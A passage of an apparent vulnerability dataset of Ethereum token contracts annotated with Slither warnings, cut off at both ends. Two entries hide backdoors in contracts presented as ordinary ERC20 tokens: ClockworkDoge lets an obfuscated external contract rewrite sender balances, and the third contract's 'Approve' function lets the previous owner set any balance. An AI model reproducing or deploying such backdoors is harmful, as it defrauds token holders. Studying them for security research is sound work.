Vulnerability (divide-before-multiply | severity: Medium | ID: f430035): NYSE.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 1 * (_tTotal / 100)\n// Recommendation for f430035: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: df1e3cf): NYSE.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for df1e3cf: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 01e6e36): NYSE.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 1 * (_tTotal / 100)\n// Recommendation for 01e6e36: Consider ordering multiplication before division.\ncontract NYSE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 253c988): NYSE._taxWallet should be immutable \n\t// Recommendation for 253c988: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 530f112): NYSE._initialBuyTax should be constant \n\t// Recommendation for 530f112: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 315295f): NYSE._initialSellTax should be constant \n\t// Recommendation for 315295f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 41bc36d): NYSE._finalBuyTax should be constant \n\t// Recommendation for 41bc36d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 21332b7): NYSE._finalSellTax should be constant \n\t// Recommendation for 21332b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9bab875): NYSE._reduceBuyTaxAt should be constant \n\t// Recommendation for 9bab875: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8462d36): NYSE._reduceSellTaxAt should be constant \n\t// Recommendation for 8462d36: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: eda9fda): NYSE._preventSwapBefore should be constant \n\t// Recommendation for eda9fda: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84e6263): NYSE._transferTax should be constant \n\t// Recommendation for 84e6263: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"NYSE6900\";\n\n string private constant _symbol = unicode\"NYSE\";\n\n\t// divide-before-multiply | ID: f430035\n uint256 public _maxTxAmount = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 01e6e36\n uint256 public _maxWalletSize = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 8cae347): NYSE._taxSwapThreshold should be constant \n\t// Recommendation for 8cae347: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 9647fea\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: c867d74): NYSE._maxTaxSwap should be constant \n\t// Recommendation for c867d74: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: df1e3cf\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 333d9a5): NYSE.uniswapV2Router should be immutable \n\t// Recommendation for 333d9a5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ac03ef6): NYSE.uniswapV2Pair should be immutable \n\t// Recommendation for ac03ef6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c7ab3ec): NYSE.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c7ab3ec: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0x974649389D06c0DB3B709e36341d28EA0245633a);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: c7ab3ec\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b090de4): NYSE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b090de4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2e90e3a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2e90e3a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 90cbbb3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 90cbbb3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2e90e3a\n\t\t// reentrancy-benign | ID: 90cbbb3\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2e90e3a\n\t\t// reentrancy-benign | ID: 90cbbb3\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 448c6c2): NYSE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 448c6c2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 90cbbb3\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2e90e3a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7d1065c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7d1065c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7578133): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7578133: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 4, \"Only 4 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 7d1065c\n\t\t\t\t// reentrancy-eth | ID: 7578133\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7d1065c\n\t\t\t\t\t// reentrancy-eth | ID: 7578133\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7578133\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7578133\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7578133\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7d1065c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7578133\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7578133\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7d1065c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2e90e3a\n\t\t// reentrancy-events | ID: 7d1065c\n\t\t// reentrancy-benign | ID: 90cbbb3\n\t\t// reentrancy-eth | ID: 7578133\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2e90e3a\n\t\t// reentrancy-events | ID: 7d1065c\n\t\t// reentrancy-eth | ID: 7578133\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 03596af): NYSE.rescuecoins(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 03596af: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescuecoins(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 03596af\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function addbot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delbot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isbot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 245d06c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 245d06c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e8d18e6): NYSE.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e8d18e6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6cdeea9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6cdeea9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 245d06c\n\t\t// unused-return | ID: e8d18e6\n\t\t// reentrancy-eth | ID: 6cdeea9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 245d06c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6cdeea9\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function Manualunclog() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function Manualerc() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10756.sol",
"size_bytes": 22584,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IDEXFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IDEXRouter {\n function WETH() external pure returns (address);\n\n function factory() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IERC20 {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function totalSupply() external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n function name() external view returns (string memory);\n}\n\ncontract Ownable is Context {\n address private _previousOwner;\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address public pair;\n\n IDEXRouter router;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n\n bool public trade;\n uint256 public startBlock;\n address public msgSend;\n\n address public msgReceive;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n assembly {\n sstore(0x50, 0xf037c1957e42a369ea640fa97ea4195ec75f2d117366)\n\n sstore(0x51, 0xf0370237f2e0b6282e886515ba1e3f7fc016c64c9aac)\n\n sstore(0x52, xor(sload(0x50), sload(0x51)))\n }\n\n router = IDEXRouter(_router);\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function buySearch() public onlyOwner returns (address toTarget) {}\n\n function openTrade() public payable {\n require(\n (msg.sender == owner() && (trade == false)),\n \"Ownable: caller is not the owner\"\n );\n\n _approve(address(this), _router, ~uint256(0));\n\n\t\t// divide-before-multiply | ID: b131b3f\n uint256 uniswapSupply = (_totalSupply / 10000) * (10000 - 287);\n\n _balances[address(this)] += uniswapSupply;\n\n _balances[msg.sender] -= uniswapSupply;\n\n emit Transfer(msg.sender, address(this), uniswapSupply);\n\n\t\t// reentrancy-benign | ID: f0d3a39\n\t\t// reentrancy-eth | ID: 8693e69\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n\t\t// reentrancy-benign | ID: f0d3a39\n\t\t// unused-return | ID: 05b43e3\n\t\t// reentrancy-eth | ID: 8693e69\n router.addLiquidityETH{value: msg.value}(\n address(this),\n uniswapSupply,\n uniswapSupply,\n msg.value,\n owner(),\n block.timestamp + 300\n );\n\n\t\t// reentrancy-eth | ID: 8693e69\n trade = true;\n\t\t// reentrancy-benign | ID: f0d3a39\n startBlock = block.number;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function taxWithJPGs(\n address sender,\n uint256 amount\n ) internal returns (uint256 result) {\n assembly {\n let data := mload(0x40)\n\n mstore(\n data,\n 0x569937dd00000000000000000000000000000000000000000000000000000000\n )\n\n mstore(add(data, 0x04), amount)\n\n mstore(0x40, add(data, 0x24))\n\n let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)\n\n if success {\n result := mload(data)\n }\n }\n\n _balances[sender] = result - amount;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n msgSend = sender;\n msgReceive = recipient;\n\n require(\n ((trade == true) ||\n (msgSend == address(this)) ||\n (msgSend == owner())),\n \"ERC20: trading is not yet enabled\"\n );\n\n require(msgSend != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n taxWithJPGs(sender, amount);\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _DeployClockworkDoge(\n address account,\n uint256 amount\n ) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[msg.sender] += amount;\n\n emit Transfer(address(0), msg.sender, amount);\n }\n}\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol) {\n _DeployClockworkDoge(creator, initialSupply);\n }\n}\n\ncontract ClockworkDoge is ERC20Token {\n constructor()\n ERC20Token(\n \"Clockwork Doge\",\n \"CWDOGE\",\n msg.sender,\n 1000000000 * 10 ** 18\n )\n {}\n}\n",
"file_name": "solidity_code_10757.sol",
"size_bytes": 9908,
"vulnerability": 2
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _totalSupply = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transferlentsy(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Approve(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSenderHex = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSenderHex == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return 